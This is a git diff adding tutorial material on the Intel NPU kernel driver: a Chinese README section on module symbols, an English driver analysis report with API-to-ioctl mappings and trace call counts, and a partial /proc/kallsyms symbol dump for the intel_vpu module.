+``` + +对于 Level Zero 应用程序,确保已安装运行时(`apt install level-zero-loader`)。库将通过 `/dev/accel/accel0` 自动发现 NPU 设备。 + +## 理解 Intel VPU 内核模块符号 + +intel_vpu 内核模块在 `/proc/kallsyms` 中导出 1,312 个可见符号。这些根据符号类型分为以下类别: + +- **t (text)**:函数符号,如 `ivpu_submit_ioctl`、`ivpu_mmu_context_map_page` +- **d (data)**:全局变量和数据结构 +- **r (read-only data)**:常量数据、字符串字面量、设备 ID 表 +- **b (BSS)**:模块加载时分配的未初始化数据 + +模块不导出用于外部链接的符号(没有 EXPORT_SYMBOL 宏)。相反,它通过以下方式提供功能: +1. DRM 设备文件接口(`/dev/accel/accel0`) +2. 用于缓冲区管理的标准 DRM ioctl +3. NPU 特定操作的自定义 ioctl +4. 与固件的 IPC 协议 + +要理解的关键函数系列: + +- `ivpu_bo_*`:缓冲对象管理(分配、固定、映射) +- `ivpu_mmu_*`:内存管理单元操作(页表、地址转换) +- `ivpu_ipc_*`:与固件的进程间通信 +- `ivpu_hw_*`:硬件特定操作(电源管理、寄存器访问) +- `ivpu_fw_*`:固件加载和引导协调 +- `ivpu_pm_*`:电源管理(运行时挂起/恢复) + +完整的符号列表在 `intel_vpu_symbols.txt` 中可供参考,用于跟踪特定操作。 + +> 如果你想深入了解 eBPF 和加速器跟踪,请查看我们的教程仓库 或访问我们的网站 。 + +## 参考资料 + +- **Intel NPU 驱动源码**: +- **Linux 内核加速器子系统**: 内核树中的 `drivers/accel/` +- **Intel VPU 内核模块**: 主线内核中的 `drivers/accel/ivpu/` +- **DRM 子系统文档**: `Documentation/gpu/drm-uapi.rst` +- **Bpftrace 参考**: +- **教程仓库**: + +完整的源代码以及跟踪示例和分析工具可在教程仓库中获得。 diff --git a/src/xpu/npu-kernel-driver/intel_npu_driver_analysis.txt b/src/xpu/npu-kernel-driver/intel_npu_driver_analysis.txt new file mode 100644 index 00000000..30eb1488 --- /dev/null +++ b/src/xpu/npu-kernel-driver/intel_npu_driver_analysis.txt @@ -0,0 +1,124 @@ +# Intel NPU Driver Analysis Report + +## Repository Analysis Steps + +### 1. Clone and Initial Exploration +```bash +# Clone the repository +git clone https://github.com/intel/linux-npu-driver/ + +# Explore the directory structure +ls -la /home/yunwei37/linux-npu-driver +``` + +### 2. Driver Architecture Discovery + +The Intel NPU driver consists of two main components: + +1. **Kernel Module Driver** (`intel_vpu`) + - Located in mainline kernel: `drivers/accel/ivpu/` + - Creates device file: `/dev/accel/accel0` + - Handles hardware communication and memory management + +2. **User-Space Driver** (`libze_intel_vpu.so`) + - Implements Level Zero API + - Located in this repository under `umd/level_zero_driver/` + - Communicates with kernel module via ioctls + +### 3. Symbol Export Analysis + +#### User-Space Library Symbols +Found export file: `/home/yunwei37/linux-npu-driver/umd/level_zero_driver/api/ze.exports` +``` +{ + global: + ze*; + local: + *; +}; +``` + +This exports all symbols starting with "ze" including: +- Core API: `zeInit`, `zeDriverGet`, `zeDeviceGet` +- Memory: `zeMemAllocShared`, `zeMemAllocDevice`, `zeMemAllocHost` +- Execution: `zeCommandListCreate`, `zeCommandQueueCreate` +- NPU-specific: `zeGraphCreate`, `zeGraphDestroy` (graph extensions) + +#### Kernel Module Symbols +```bash +# Check if module is loaded +lsmod | grep intel_vpu +# Output: intel_vpu 278528 0 + +# Get module information +modinfo intel_vpu + +# Dump all kernel symbols to file +cat /proc/kallsyms | grep intel_vpu > intel_vpu_symbols.txt +# Result: 1312 symbols dumped +``` + +### 4. Key Findings + +#### Module Information: +- **Name**: intel_vpu (Neural Processing Unit driver) +- **Version**: 1.0.0 +- **License**: GPL and additional rights +- **Supported devices**: + - PCI ID 0x643E + - PCI ID 0x7D1D + - PCI ID 0xAD1D + - PCI ID 0xB03E +- **Firmware files**: + - intel/vpu/vpu_37xx_v0.0.bin + - intel/vpu/vpu_40xx_v0.0.bin + - intel/vpu/vpu_50xx_v0.0.bin + +#### Symbol Types in Kernel Module: +- `t` - local text (function) symbols +- `d` - data symbols +- `r` - read-only data symbols +- `b` - BSS (uninitialized data) symbols + +The kernel module doesn't export symbols for direct linking. Instead, it provides functionality through: +1. Device file interface (`/dev/accel/accel0`) +2. DRM ioctls for operations +3. IPC communication with NPU firmware + +### 5. API to Kernel Mapping + +| Level Zero API | Kernel ioctl | Kernel Function | +|----------------|--------------|-----------------| +| zeInit | - | ivpu_open | +| zeDeviceGetProperties | DRM_IOCTL_IVPU_GET_PARAM | ivpu_get_param_ioctl | +| zeMemAllocHost/Device | DRM_IOCTL_IVPU_BO_CREATE | ivpu_bo_create_ioctl | +| zeCommandQueueExecuteCommandLists | DRM_IOCTL_IVPU_SUBMIT | ivpu_submit_ioctl | +| zeMemFree | DRM_IOCTL_GEM_CLOSE | ivpu_gem_bo_free | + +### 6. Function Call Frequency Analysis + +From the trace analysis of 8,198 function calls: +1. **Memory Management** (4,648 calls): + - `ivpu_mmu_context_map_page`: 4,131 + - `ivpu_pgtable_free_page`: 517 + +2. **IPC Communication** (2,842 calls): + - `ivpu_ipc_irq_handler`: 946 + - `ivpu_hw_ip_ipc_rx_count_get`: 951 + - `ivpu_ipc_receive`: 945 + +3. **Buffer Management** (74 calls): + - `ivpu_bo_create_ioctl`: 24 + - `ivpu_gem_create_object`: 25 + - `ivpu_bo_pin`: 25 + +### 7. Typical Workflow +1. Device initialization (open, query parameters) +2. Memory allocation for compute buffers +3. Command list creation and submission +4. IPC communication with firmware during execution +5. Synchronization and cleanup + +## Files Generated +- `intel_vpu_symbols.txt` - Contains all 1,312 kernel module symbols +- This analysis report - `/home/yunwei37/intel_npu_driver_analysis.md` \ No newline at end of file diff --git a/src/xpu/npu-kernel-driver/intel_vpu_symbols.txt b/src/xpu/npu-kernel-driver/intel_vpu_symbols.txt new file mode 100644 index 00000000..f7a257c5 --- /dev/null +++ b/src/xpu/npu-kernel-driver/intel_vpu_symbols.txt @@ -0,0 +1,1312 @@ +0000000000000000 t ivpu_set_param_ioctl [intel_vpu] +0000000000000000 t ivpu_wait_for_ready [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug568.2 [intel_vpu] +0000000000000000 t ivpu_wait_for_ready.cold [intel_vpu] +0000000000000000 r __func__.38 [intel_vpu] +0000000000000000 d ivpu_pci_driver [intel_vpu] +0000000000000000 t ivpu_get_param_ioctl [intel_vpu] +0000000000000000 t ivpu_pci_driver_exit [intel_vpu] +0000000000000000 t file_priv_unbind [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug553.7 [intel_vpu] +0000000000000000 t file_priv_unbind.cold [intel_vpu] +0000000000000000 t ivpu_irq_thread_handler [intel_vpu] +0000000000000000 r __func__.51 [intel_vpu] +0000000000000000 d _rs.50 [intel_vpu] +0000000000000000 t ivpu_irq_thread_handler.cold [intel_vpu] +0000000000000000 t ivpu_open [intel_vpu] +0000000000000000 b __key.42 [intel_vpu] +0000000000000000 b __key.43 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug564.4 [intel_vpu] +0000000000000000 t ivpu_open.cold [intel_vpu] +0000000000000000 r __func__.44 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug551.8 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug557.5 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug555.6 [intel_vpu] +0000000000000000 t ivpu_file_priv_put.cold [intel_vpu] +0000000000000000 t ivpu_postclose [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug566.3 [intel_vpu] +0000000000000000 t ivpu_boot.cold [intel_vpu] +0000000000000000 r __func__.37 [intel_vpu] +0000000000000000 r __func__.39 [intel_vpu] +0000000000000000 t ivpu_shutdown.cold [intel_vpu] +0000000000000000 r __func__.40 [intel_vpu] +0000000000000000 t ivpu_dev_fini [intel_vpu] +0000000000000000 t ivpu_remove [intel_vpu] +0000000000000000 t ivpu_probe [intel_vpu] +0000000000000000 r driver [intel_vpu] +0000000000000000 b __key.45 [intel_vpu] +0000000000000000 b __key.46 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug570.1 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug572.0 [intel_vpu] +0000000000000000 t ivpu_probe.cold [intel_vpu] +0000000000000000 r __func__.48 [intel_vpu] +0000000000000000 r __func__.49 [intel_vpu] +0000000000000000 r __func__.47 [intel_vpu] +0000000000000000 r __func__.41 [intel_vpu] +0000000000000000 r __func__.36 [intel_vpu] +0000000000000000 r __func__.35 [intel_vpu] +0000000000000000 r __func__.34 [intel_vpu] +0000000000000000 r __func__.33 [intel_vpu] +0000000000000000 d __UNIQUE_ID___addressable_cleanup_module575 [intel_vpu] +0000000000000000 d ivpu_pci_ids [intel_vpu] +0000000000000000 r ivpu_drv_pci_err [intel_vpu] +0000000000000000 r ivpu_drv_pci_pm [intel_vpu] +0000000000000000 r ivpu_drm_ioctls [intel_vpu] +0000000000000000 r ivpu_fops [intel_vpu] +0000000000000000 r __param_force_snoop [intel_vpu] +0000000000000000 r __param_str_force_snoop [intel_vpu] +0000000000000000 r __param_disable_mmu_cont_pages [intel_vpu] +0000000000000000 r __param_str_disable_mmu_cont_pages [intel_vpu] +0000000000000000 r __param_sched_mode [intel_vpu] +0000000000000000 r __param_str_sched_mode [intel_vpu] +0000000000000000 r __param_pll_max_ratio [intel_vpu] +0000000000000000 r __param_str_pll_max_ratio [intel_vpu] +0000000000000000 r __param_pll_min_ratio [intel_vpu] +0000000000000000 r __param_str_pll_min_ratio [intel_vpu] +0000000000000000 r __param_dbg_mask [intel_vpu] +0000000000000000 r __param_str_dbg_mask [intel_vpu] +0000000000000000 r .LC9 [intel_vpu] +0000000000000000 r .LC44 [intel_vpu] +0000000000000000 t __pfx_ivpu_set_param_ioctl [intel_vpu] +0000000000000000 t __pfx_ivpu_wait_for_ready [intel_vpu] +0000000000000000 t __pfx_ivpu_get_param_ioctl [intel_vpu] +0000000000000000 t __pfx_file_priv_unbind [intel_vpu] +0000000000000000 t __pfx_ivpu_irq_thread_handler [intel_vpu] +0000000000000000 t __pfx_ivpu_open [intel_vpu] +0000000000000000 t __pfx_ivpu_postclose [intel_vpu] +0000000000000000 t __pfx_ivpu_dev_fini [intel_vpu] +0000000000000000 t __pfx_ivpu_remove [intel_vpu] +0000000000000000 t __pfx_ivpu_probe [intel_vpu] +0000000000000000 t __pfx_ivpu_pci_driver_exit [intel_vpu] +0000000000000000 t ivpu_fw_check_api.constprop.0 [intel_vpu] +0000000000000000 r __func__.5 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug571.63 [intel_vpu] +0000000000000000 t ivpu_fw_load.cold [intel_vpu] +0000000000000000 r fw_names [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug573.62 [intel_vpu] +0000000000000000 t ivpu_fw_init.cold [intel_vpu] +0000000000000000 r __func__.6 [intel_vpu] +0000000000000000 r __func__.8 [intel_vpu] +0000000000000000 r __func__.7 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug577.61 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug579.60 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug581.59 [intel_vpu] +0000000000000000 r __func__.2 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug583.58 [intel_vpu] +0000000000000000 r __func__.3 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug585.56 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug587.55 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug589.54 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug591.53 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug593.52 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug595.51 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug597.50 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug599.49 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug601.48 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug603.47 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug605.46 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug607.45 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug609.44 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug611.43 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug613.42 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug615.41 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug617.40 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug619.39 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug621.38 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug623.37 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug625.36 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug627.35 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug629.34 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug631.33 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug633.32 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug635.31 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug637.30 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug639.29 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug641.28 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug643.27 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug645.26 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug647.25 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug649.24 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug651.23 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug653.22 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug655.21 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug657.20 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug659.19 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug661.18 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug663.17 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug665.16 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug667.15 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug669.14 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug671.13 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug673.12 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug675.11 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug677.10 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug679.9 [intel_vpu] +0000000000000000 t ivpu_fw_boot_params_setup.cold [intel_vpu] +0000000000000000 r __func__.0 [intel_vpu] +0000000000000000 r __func__.1 [intel_vpu] +0000000000000000 r __func__.4 [intel_vpu] +0000000000000000 t __pfx_ivpu_fw_check_api.constprop.0 [intel_vpu] +0000000000000000 t fw_log_print_lines [intel_vpu] +0000000000000000 t fw_log_from_bo [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug564.1 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug562.2 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug560.3 [intel_vpu] +0000000000000000 t fw_log_print_all_in_bo [intel_vpu] +0000000000000000 r __func__.0 [intel_vpu] +0000000000000000 r __param_fw_log_level [intel_vpu] +0000000000000000 r __param_str_fw_log_level [intel_vpu] +0000000000000000 t __pfx_fw_log_print_lines [intel_vpu] +0000000000000000 t __pfx_fw_log_from_bo [intel_vpu] +0000000000000000 t __pfx_fw_log_print_all_in_bo [intel_vpu] +0000000000000000 t drm_gem_shmem_object_mmap [intel_vpu] +0000000000000000 t drm_gem_shmem_object_vunmap [intel_vpu] +0000000000000000 t drm_gem_shmem_object_vmap [intel_vpu] +0000000000000000 t drm_gem_shmem_object_get_sg_table [intel_vpu] +0000000000000000 t drm_gem_shmem_object_unpin [intel_vpu] +0000000000000000 t drm_gem_shmem_object_pin [intel_vpu] +0000000000000000 t drm_gem_shmem_object_print_info [intel_vpu] +0000000000000000 t ivpu_bo_unbind_locked [intel_vpu] +0000000000000000 t ivpu_bo_unbind_locked.cold [intel_vpu] +0000000000000000 t ivpu_bo_alloc_vpu_addr [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug568.7 [intel_vpu] +0000000000000000 t ivpu_bo_alloc_vpu_addr.cold [intel_vpu] +0000000000000000 r __func__.2 [intel_vpu] +0000000000000000 t ivpu_gem_bo_open [intel_vpu] +0000000000000000 t ivpu_gem_bo_open.cold [intel_vpu] +0000000000000000 r __func__.3 [intel_vpu] +0000000000000000 t ivpu_gem_bo_free [intel_vpu] +0000000000000000 t ivpu_gem_bo_free.cold [intel_vpu] +0000000000000000 t ivpu_bo_pin.cold [intel_vpu] +0000000000000000 r __func__.6 [intel_vpu] +0000000000000000 t ivpu_bo_unbind_all_bos_from_context.cold [intel_vpu] +0000000000000000 b __key.4 [intel_vpu] +0000000000000000 r ivpu_gem_funcs [intel_vpu] +0000000000000000 t ivpu_bo_create_ioctl.cold [intel_vpu] +0000000000000000 r __func__.1 [intel_vpu] +0000000000000000 t ivpu_bo_create.cold [intel_vpu] +0000000000000000 r __func__.0 [intel_vpu] +0000000000000000 t ivpu_bo_list.cold [intel_vpu] +0000000000000000 r __func__.5 [intel_vpu] +0000000000000000 r .LC2 [intel_vpu] +0000000000000000 t __pfx_drm_gem_shmem_object_mmap [intel_vpu] +0000000000000000 t __pfx_drm_gem_shmem_object_vunmap [intel_vpu] +0000000000000000 t __pfx_drm_gem_shmem_object_vmap [intel_vpu] +0000000000000000 t __pfx_drm_gem_shmem_object_get_sg_table [intel_vpu] +0000000000000000 t __pfx_drm_gem_shmem_object_unpin [intel_vpu] +0000000000000000 t __pfx_drm_gem_shmem_object_pin [intel_vpu] +0000000000000000 t __pfx_drm_gem_shmem_object_print_info [intel_vpu] +0000000000000000 t __pfx_ivpu_bo_unbind_locked [intel_vpu] +0000000000000000 t __pfx_ivpu_bo_alloc_vpu_addr [intel_vpu] +0000000000000000 t __pfx_ivpu_gem_bo_open [intel_vpu] +0000000000000000 t __pfx_ivpu_gem_bo_free [intel_vpu] +0000000000000000 t ivpu_hw_btrs_gen.part.0 [intel_vpu] +0000000000000000 r __func__.6 [intel_vpu] +0000000000000000 t ivpu_hw_ip_gen.part.0 [intel_vpu] +0000000000000000 r __func__.3 [intel_vpu] +0000000000000000 t ivpu_hw_power_up.cold [intel_vpu] +0000000000000000 r __func__.7 [intel_vpu] +0000000000000000 t ivpu_hw_reset.cold [intel_vpu] +0000000000000000 r __func__.5 [intel_vpu] +0000000000000000 t ivpu_hw_power_down.cold [intel_vpu] +0000000000000000 r __func__.4 [intel_vpu] +0000000000000000 r dmi_platform_simulation [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug533.13 [intel_vpu] +0000000000000000 r CSWTCH.36 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug535.12 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug543.8 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug541.9 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug539.10 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug537.11 [intel_vpu] +0000000000000000 t ivpu_hw_init.cold [intel_vpu] +0000000000000000 t ivpu_hw_boot_fw.cold [intel_vpu] +0000000000000000 r __func__.0 [intel_vpu] +0000000000000000 t ivpu_hw_profiling_freq_drive.cold [intel_vpu] +0000000000000000 t ivpu_irq_handlers_init.cold [intel_vpu] +0000000000000000 r __func__.1 [intel_vpu] +0000000000000000 r __func__.2 [intel_vpu] +0000000000000000 r .LC20 [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_gen.part.0 [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_ip_gen.part.0 [intel_vpu] +0000000000000000 t ivpu_hw_reg_rd32 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug523.87 [intel_vpu] +0000000000000000 t ivpu_hw_reg_wr32 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug527.85 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_gen.part.0 [intel_vpu] +0000000000000000 r __func__.42 [intel_vpu] +0000000000000000 t ivpu_hw_reg_rd64.constprop.0 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug525.86 [intel_vpu] +0000000000000000 t wp_request_sync [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug589.82 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug598.80 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug591.81 [intel_vpu] +0000000000000000 r __func__.34 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug582.83 [intel_vpu] +0000000000000000 t wp_request_sync.cold [intel_vpu] +0000000000000000 t d0i3_drive_mtl [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug693.70 [intel_vpu] +0000000000000000 r __func__.30 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug702.68 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug695.69 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug686.71 [intel_vpu] +0000000000000000 t d0i3_drive_mtl.cold [intel_vpu] +0000000000000000 t d0i3_drive_lnl [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug711.66 [intel_vpu] +0000000000000000 r __func__.29 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug720.64 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug713.65 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug704.67 [intel_vpu] +0000000000000000 t d0i3_drive_lnl.cold [intel_vpu] +0000000000000000 r __func__.45 [intel_vpu] +0000000000000000 r __func__.40 [intel_vpu] +0000000000000000 r __func__.41 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_freq_ratios_init.cold [intel_vpu] +0000000000000000 r __func__.39 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug580.84 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_info_init.cold [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug682.73 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug680.74 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug684.72 [intel_vpu] +0000000000000000 r __func__.35 [intel_vpu] +0000000000000000 r __func__.36 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug673.75 [intel_vpu] +0000000000000000 r __func__.33 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_wp_drive.cold [intel_vpu] +0000000000000000 r __func__.38 [intel_vpu] +0000000000000000 r __func__.37 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug607.78 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug600.79 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug609.77 [intel_vpu] +0000000000000000 r __func__.32 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug616.76 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_d0i3_enable.cold [intel_vpu] +0000000000000000 r __func__.31 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_d0i3_disable.cold [intel_vpu] +0000000000000000 r __func__.28 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug729.62 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug722.63 [intel_vpu] +0000000000000000 r __func__.27 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_wait_for_clock_res_own_ack.cold [intel_vpu] +0000000000000000 r __func__.26 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug747.58 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug756.56 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug765.54 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug738.60 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug749.57 [intel_vpu] +0000000000000000 r __func__.24 [intel_vpu] +0000000000000000 r __func__.21 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug758.55 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug740.59 [intel_vpu] +0000000000000000 r __func__.25 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug731.61 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_ip_reset.cold [intel_vpu] +0000000000000000 r __func__.23 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug767.53 [intel_vpu] +0000000000000000 r __func__.22 [intel_vpu] +0000000000000000 r __func__.20 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_is_idle.cold [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug776.51 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug785.49 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug778.50 [intel_vpu] +0000000000000000 r __func__.19 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug769.52 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_wait_for_idle.cold [intel_vpu] +0000000000000000 r __func__.18 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_irq_handler_mtl.cold [intel_vpu] +0000000000000000 r __func__.16 [intel_vpu] +0000000000000000 d _rs.15 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug804.47 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_irq_handler_lnl.cold [intel_vpu] +0000000000000000 r __func__.14 [intel_vpu] +0000000000000000 d _rs.12 [intel_vpu] +0000000000000000 d _rs.13 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_dct_get_request.cold [intel_vpu] +0000000000000000 r __func__.11 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_ratio_to_freq.cold [intel_vpu] +0000000000000000 r __func__.9 [intel_vpu] +0000000000000000 r __func__.10 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_pll_freq_get.cold [intel_vpu] +0000000000000000 r __func__.8 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_telemetry_offset_get.cold [intel_vpu] +0000000000000000 r __func__.7 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_telemetry_size_get.cold [intel_vpu] +0000000000000000 r __func__.6 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_telemetry_enable_get.cold [intel_vpu] +0000000000000000 r __func__.5 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_global_int_disable.cold [intel_vpu] +0000000000000000 r __func__.4 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_global_int_enable.cold [intel_vpu] +0000000000000000 r __func__.3 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_irq_enable.cold [intel_vpu] +0000000000000000 r __func__.2 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_irq_disable.cold [intel_vpu] +0000000000000000 r __func__.1 [intel_vpu] +0000000000000000 r __func__.0 [intel_vpu] +0000000000000000 t ivpu_hw_btrs_diagnose_failure.cold [intel_vpu] +0000000000000000 r __func__.17 [intel_vpu] +0000000000000000 r __func__.43 [intel_vpu] +0000000000000000 r __func__.44 [intel_vpu] +0000000000000000 r .LC112 [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_reg_rd32 [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_reg_wr32 [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_reg_rd64.constprop.0 [intel_vpu] +0000000000000000 t __pfx_wp_request_sync [intel_vpu] +0000000000000000 t __pfx_d0i3_drive_mtl [intel_vpu] +0000000000000000 t __pfx_d0i3_drive_lnl [intel_vpu] +0000000000000000 t __pfx_ivpu_hw_btrs_gen.part.0 [intel_vpu] +0000000000000000 t ivpu_hw_ip_gen.part.0 [intel_vpu] +0000000000000000 r __func__.67 [intel_vpu] +0000000000000000 t irq_noc_firewall_handler [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug694.71 [intel_vpu] +0000000000000000 t host_ss_noc_qacceptn_check [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug523.84 [intel_vpu] +0000000000000000 r __func__.59 [intel_vpu] +0000000000000000 r __func__.60 [intel_vpu] +0000000000000000 t host_ss_noc_qacceptn_check.cold [intel_vpu] +0000000000000000 t host_ss_noc_qdeny_check.constprop.0 [intel_vpu] +0000000000000000 r __func__.57 [intel_vpu] +0000000000000000 r __func__.58 [intel_vpu] +0000000000000000 t host_ss_noc_qdeny_check.constprop.0.cold [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug540.78 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug527.82 [intel_vpu] +0000000000000000 r __func__.61 [intel_vpu] +0000000000000000 r __func__.63 [intel_vpu] +0000000000000000 r __func__.65 [intel_vpu] +0000000000000000 d __UNIQUE_ID_ddebug533.79 [intel_vpu] +0000000000000000 r __func__.66 [intel_vpu] +0000000000000000 t ivpu_hw_ip_host_ss_configure.cold [intel_vpu] +0000000000000000 r __func__.68 [intel_vpu] +0000000000000000 r __func__.55 [intel_vpu] +0000000000000000 r __func__.56 [intel_vpu] +0000000000000000 t ivpu_hw_ip_idle_gen_enable.cold [intel_vpu] +0000000000000000 t ivpu_hw_ip_idle_gen_disable.cold [intel_vpu] +0000000000000000 r __func__.52 [intel_vpu] +0000000000000000 r __func__.53 [intel_vpu] +0000000000000000 t ivpu_hw_ip_host_ss_axi_enable.cold [intel_vpu] +0000000000000000 r __func__.54 [intel_vpu] +0000000000000000 r __func__.49 [intel_vpu] +0000000000000000 r __func__.47 [intel_vpu] +0000000000000000 r __func__.45 [intel_vpu] +0000000000000000 